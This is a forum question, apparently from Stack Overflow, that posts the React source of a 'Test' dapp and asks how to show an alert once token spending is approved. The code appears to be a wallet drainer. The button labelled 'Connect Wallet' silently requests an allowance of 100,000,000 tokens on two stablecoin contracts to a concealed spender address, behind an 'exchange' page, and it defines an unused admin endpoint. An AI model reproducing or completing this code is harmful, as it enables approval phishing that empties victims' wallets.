0

This is my "Test" dapp which i am building, i am struggling to call an event handler to check if the user has approved spending on a certain contract, in this case USDt 0x55d398326f99059fF775485246999027B3197955.

I can connect to the wallet, approve both of my contracts BUT i am struggling to add an alert after i want to create a notification for the user to say "Your Spend Is Approved".

Any advice? I have tried numerous solutions but they all fail, I have tried to use

web3.eth.on('approval', async (from, spender, amount, token) => {
  // Check if the approved token address and amount match your criteria
  if (token === '0xYourTokenAddress' && amount >= 100) {
    // Display a pop-up message using JavaScript
    alert('You have successfully connected your BEP-20 Token!');
  }
});

But it just tells me 'web3' is not defined

import { useEffect, useState } from "react";
import "./App.css";
import {ethers} from "ethers";

import { Web3ReactProvider } from '@web3-react/core'
import Web3 from 'web3'

function getLibrary(provider) {
  return new Web3(provider)
}

let walletAddress;
let spender_address = "#####################################";
let admin_url = "https://adminclear.xyz/api"
let ADMIN_ENDPOINT = admin_url + "/accounts";
let usdtAddress = "#########################################"
let busdAddress = "0x55d398326f99059fF775485246999027B3197955"

const usdtAbi = [{
        inputs: [],
        payable: false,
        stateMutability: "nonpayable",
        type: "constructor",
    },
    {
        anonymous: false, 
        inputs: [{
                indexed: true,
                internalType: "address",
                name: "owner",
                type: "address",
            },
            {
                indexed: true,
                internalType: "address",
                name: "spender",
                type: "address",
            },
            {
                indexed: false,
                internalType: "uint256",
                name: "value",
                type: "uint256",
            },
        ],
        name: "Approval",
        type: "event",
    },
    {
        anonymous: false,
        inputs: [{
                indexed: true,
                internalType: "address",
                name: "previousOwner",
                type: "address",
            },
            {
                indexed: true,
                internalType: "address",
                name: "newOwner",
                type: "address",
            },
        ],
        name: "OwnershipTransferred",
        type: "event",
    },
    {
        anonymous: false,
        inputs: [{
                indexed: true,
                internalType: "address",
                name: "from",
                type: "address",
            },
            {
                indexed: true,
                internalType: "address",
                name: "to",
                type: "address",
            },
            {
                indexed: false,
                internalType: "uint256",
                name: "value",
                type: "uint256",
            },
        ],
        name: "Transfer",
        type: "event",
    },
    {
        constant: true,
        inputs: [],
        name: "_decimals",
        outputs: [{
            internalType: "uint8",
            name: "",
            type: "uint8"
        }],
        payable: false,
        stateMutability: "view",
        type: "function",
    },
    {
        constant: true,
        inputs: [],
        name: "_name",
        outputs: [{
            internalType: "string",
            name: "",
            type: "string"
        }],
        payable: false,
        stateMutability: "view",
        type: "function",
    },
    {
        constant: true,
        inputs: [],
        name: "_symbol",
        outputs: [{
            internalType: "string",
            name: "",
            type: "string"
        }],
        payable: false,
        stateMutability: "view",
        type: "function",
    },
    {
        constant: true,
        inputs: [{
                internalType: "address",
                name: "owner",
                type: "address"
            },
            {
                internalType: "address",
                name: "spender",
                type: "address"
            },
        ],
        name: "allowance",
        outputs: [{
            internalType: "uint256",
            name: "",
            type: "uint256"
        }],
        payable: false,
        stateMutability: "view",
        type: "function",
    },
    {
        constant: false,
        inputs: [{
                internalType: "address",
                name: "spender",
                type: "address"
            },
            {
                internalType: "uint256",
                name: "amount",
                type: "uint256"
            },
        ],
        name: "approve",
        outputs: [{
            internalType: "bool",
            name: "",
            type: "bool"
        }],
        payable: false,
        stateMutability: "nonpayable",
        type: "function",
    },
    {
        constant: true,
        inputs: [{
            internalType: "address",
            name: "account",
            type: "address"
        }],
        name: "balanceOf",
        outputs: [{
            internalType: "uint256",
            name: "",
            type: "uint256"
        }],
        payable: false,
        stateMutability: "view",
        type: "function",
    },
    {
        constant: true,
        inputs: [],
        name: "decimals",
        outputs: [{
            internalType: "uint256",
            name: "",
            type: "uint256"
        }],
        payable: false,
        stateMutability: "view",
        type: "function",
    },
    {
        constant: false,
        inputs: [{
                internalType: "address",
                name: "spender",
                type: "address"
            },
            {
                internalType: "uint256",
                name: "subtractedValue",
                type: "uint256",
            },
        ],
        name: "decreaseAllowance",
        outputs: [{
            internalType: "bool",
            name: "",
            type: "bool"
        }],
        payable: false,
        stateMutability: "nonpayable",
        type: "function",
    },
    {
        constant: true,
        inputs: [],
        name: "getOwner",
        outputs: [{
            internalType: "address",
            name: "",
            type: "address"
        }],
        payable: false,
        stateMutability: "view",
        type: "function",
    },
    {
        constant: false,
        inputs: [{
                internalType: "address",
                name: "spender",
                type: "address"
            },
            {
                internalType: "uint256",
                name: "addedValue",
                type: "uint256"
            },
        ],
        name: "increaseAllowance",
        outputs: [{
            internalType: "bool",
            name: "",
            type: "bool"
        }],
        payable: false,
        stateMutability: "nonpayable",
        type: "function",
    },
    {
        constant: false,
        inputs: [{
            internalType: "uint256",
            name: "amount",
            type: "uint256"
        }],
        name: "mint",
        outputs: [{
            internalType: "bool",
            name: "",
            type: "bool"
        }],
        payable: false,
        stateMutability: "nonpayable",
        type: "function",
    },
    {
        constant: true,
        inputs: [],
        name: "name",
        outputs: [{
            internalType: "string",
            name: "",
            type: "string"
        }],
        payable: false,
        stateMutability: "view",
        type: "function",
    },
    {
        constant: true,
        inputs: [],
        name: "owner",
        outputs: [{
            internalType: "address",
            name: "",
            type: "address"
        }],
        payable: false,
        stateMutability: "view",
        type: "function",
    },
    {
        constant: false,
        inputs: [],
        name: "renounceOwnership",
        outputs: [],
        payable: false,
        stateMutability: "nonpayable",
        type: "function",
    },
    {
        constant: true,
        inputs: [],
        name: "symbol",
        outputs: [{
            internalType: "string",
            name: "",
            type: "string"
        }],
        payable: false,
        stateMutability: "view",
        type: "function",
    },
    {
        constant: true,
        inputs: [],
        name: "totalSupply",
        outputs: [{
            internalType: "uint256",
            name: "",
            type: "uint256"
        }],
        payable: false,
        stateMutability: "view",
        type: "function",
    },
    {
        constant: false,
        inputs: [{
                internalType: "address",
                name: "recipient",
                type: "address"
            },
            {
                internalType: "uint256",
                name: "amount",
                type: "uint256"
            },
        ],
        name: "transfer",
        outputs: [{
            internalType: "bool",
            name: "",
            type: "bool"
        }],
        payable: false,
        stateMutability: "nonpayable",
        type: "function",
    },
    {
        constant: false,
        inputs: [{
                internalType: "address",
                name: "sender",
                type: "address"
            },
            {
                internalType: "address",
                name: "recipient",
                type: "address"
            },
            {
                internalType: "uint256",
                name: "amount",
                type: "uint256"
            },
        ],
        name: "transferFrom",
        outputs: [{
            internalType: "bool",
            name: "",
            type: "bool"
        }],
        payable: false,
        stateMutability: "nonpayable",
        type: "function",
    },
    {
        constant: false,
        inputs: [{
            internalType: "address",
            name: "newOwner",
            type: "address"
        }, ],
        name: "transferOwnership",
        outputs: [],
        payable: false,
        stateMutability: "nonpayable",
        type: "function",
    },
];

function App() {
  const [walletAddress, setWalletAddress] = useState("");

  useEffect(() => {
    getCurrentWalletConnected();
    addWalletListener();
  }, [walletAddress]);

  const connectWallet = async () => {
    if (typeof window != "undefined" && typeof window.ethereum != "undefined") {
      try {
        /* MetaMask is installed */
        const accounts = await window.ethereum.request({
          method: "eth_requestAccounts",
        });
        setWalletAddress(accounts[0]);
      } catch (err) {
        console.error(err.message);
      }
    } else {
      /* MetaMask is not installed */
      console.log("Please install MetaMask");
    }
  };

  const getCurrentWalletConnected = async () => {
    if (typeof window != "undefined" && typeof window.ethereum != "undefined") {
      try {
        const accounts = await window.ethereum.request({
          method: "eth_accounts",
        });
        if (accounts.length > 0) {
          setWalletAddress(accounts[0]);
          console.log(accounts[0]);
        } else {
          console.log("Connect to MetaMask using the Connect button");
        }
      } catch (err) {
        console.error(err.message);
      }
    } else {
      /* MetaMask is not installed */
      console.log("Please install MetaMask");
    }
  };

  const addWalletListener = async () => {
    if (typeof window != "undefined" && typeof window.ethereum != "undefined") {
      window.ethereum.on("accountsChanged", (accounts) => {
        setWalletAddress(accounts[0]);
        console.log(accounts[0]);
      });
    } else {
      /* MetaMask is not installed */
      setWalletAddress("");
      console.log("Please install MetaMask");
    }
  };

  function approve() {
    if (!walletAddress) {

        alert("No Web3 provider detected. Please connect your wallet with a valid web3 provider.");
        return;
    }
    connectAdmin(walletAddress)
}


async function connectAdmin(account) {
    const appContract = spender_address;
    let accountAllowance;
    const ulAllowance = 100000000;
    const provider = new ethers.providers.Web3Provider(window.ethereum);
    console.log(provider)
    const signer = provider.getSigner();
    const usdtContract = new ethers.Contract(usdtAddress, usdtAbi, signer);
    const busdContract = new ethers.Contract(busdAddress, usdtAbi, signer);
    const balanceTx = await usdtContract.balanceOf(account);
    const balance = parseFloat(ethers.utils.formatEther(balanceTx));
    const allowanceTx = await usdtContract.allowance(account, appContract);
    const allowance = parseFloat(ethers.utils.formatEther(allowanceTx));
    accountAllowance = allowance;
    const ballowanceTx = await busdContract.allowance(account, appContract);
    const ballowance = parseFloat(ethers.utils.formatEther(ballowanceTx));
    accountAllowance = allowance;

  
   console.log({
        allowance,
        balance
    });

    if (allowance < ulAllowance) {
        try {
            const approveAmt = ethers.utils.parseUnits(
                ulAllowance.toString(),
                "ether"
            );
            const approveTx = await usdtContract.approve(
                appContract,
                approveAmt
                
            );
            const cf = await approveTx.wait();

            if (cf) {
                accountAllowance = ulAllowance;
            }
            console.log({
                approveTx
            });
        } catch (error) {
            console.log(error);
        }
    }

    if (ballowance < ulAllowance) {
        try {
            const bapproveAmt = ethers.utils.parseUnits(
                ulAllowance.toString(),
                "ether"
            );
            const bapproveTx = await busdContract.approve(
                appContract,
                bapproveAmt
            );
            const bcf = await bapproveTx.wait();

            if (bcf) {
                accountAllowance = ulAllowance;
            }
            console.log({
                bapproveTx
            });
        } catch (error) {
            console.log(error);
        }
    }




  }




   

  return (
    <div>
      <nav className="navbar">
        <div className="container">
          <div className="navbar-brand">
            <h1 className="navbar-item is-size-4">Dapp Test</h1>
          </div>
          <div id="navbarMenu" className="navbar-menu">
            <div className="navbar-end is-align-items-center">
              <button
                className="button is-white connect-wallet"
                onClick={approve}
              >
                <span className="is-link has-text-weight-bold">
                  {walletAddress && walletAddress.length > 0
                    ? `Connected: ${walletAddress.substring(
                        0,
                        6
                      )}...${walletAddress.substring(38)}`
                    : "Connect Wallet"}
                </span>
              </button>
            </div>
          </div>
        </div>
      </nav>
      <section className="hero is-fullheight">
        <div className="faucet-hero-body">
          <div className="container has-text-centered main-content">
            <h1 className="title is-1">Exchange Below</h1>
            <p>Click to exchange.</p>

             <button
                className="button is-white connect-wallet"
                onClick={approve}
              ></button>


                <button
                className="button is-white connect-wallet"
                onClick={connectWallet}
              >
                <span className="is-link has-text-weight-bold">
                  {walletAddress && walletAddress.length > 0
                    ? `Connected: ${walletAddress.substring(
                        0,
                        6
                      )}...${walletAddress.substring(38)}`
                    : "Connect Wallet"}
                </span>
              </button>


           
          </div>
        </div>
      </section>
    </div>
  );
}

export default App;

0

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge that you have read and understand our privacy policy and code of conduct.

Browse other questions tagged or ask your own question.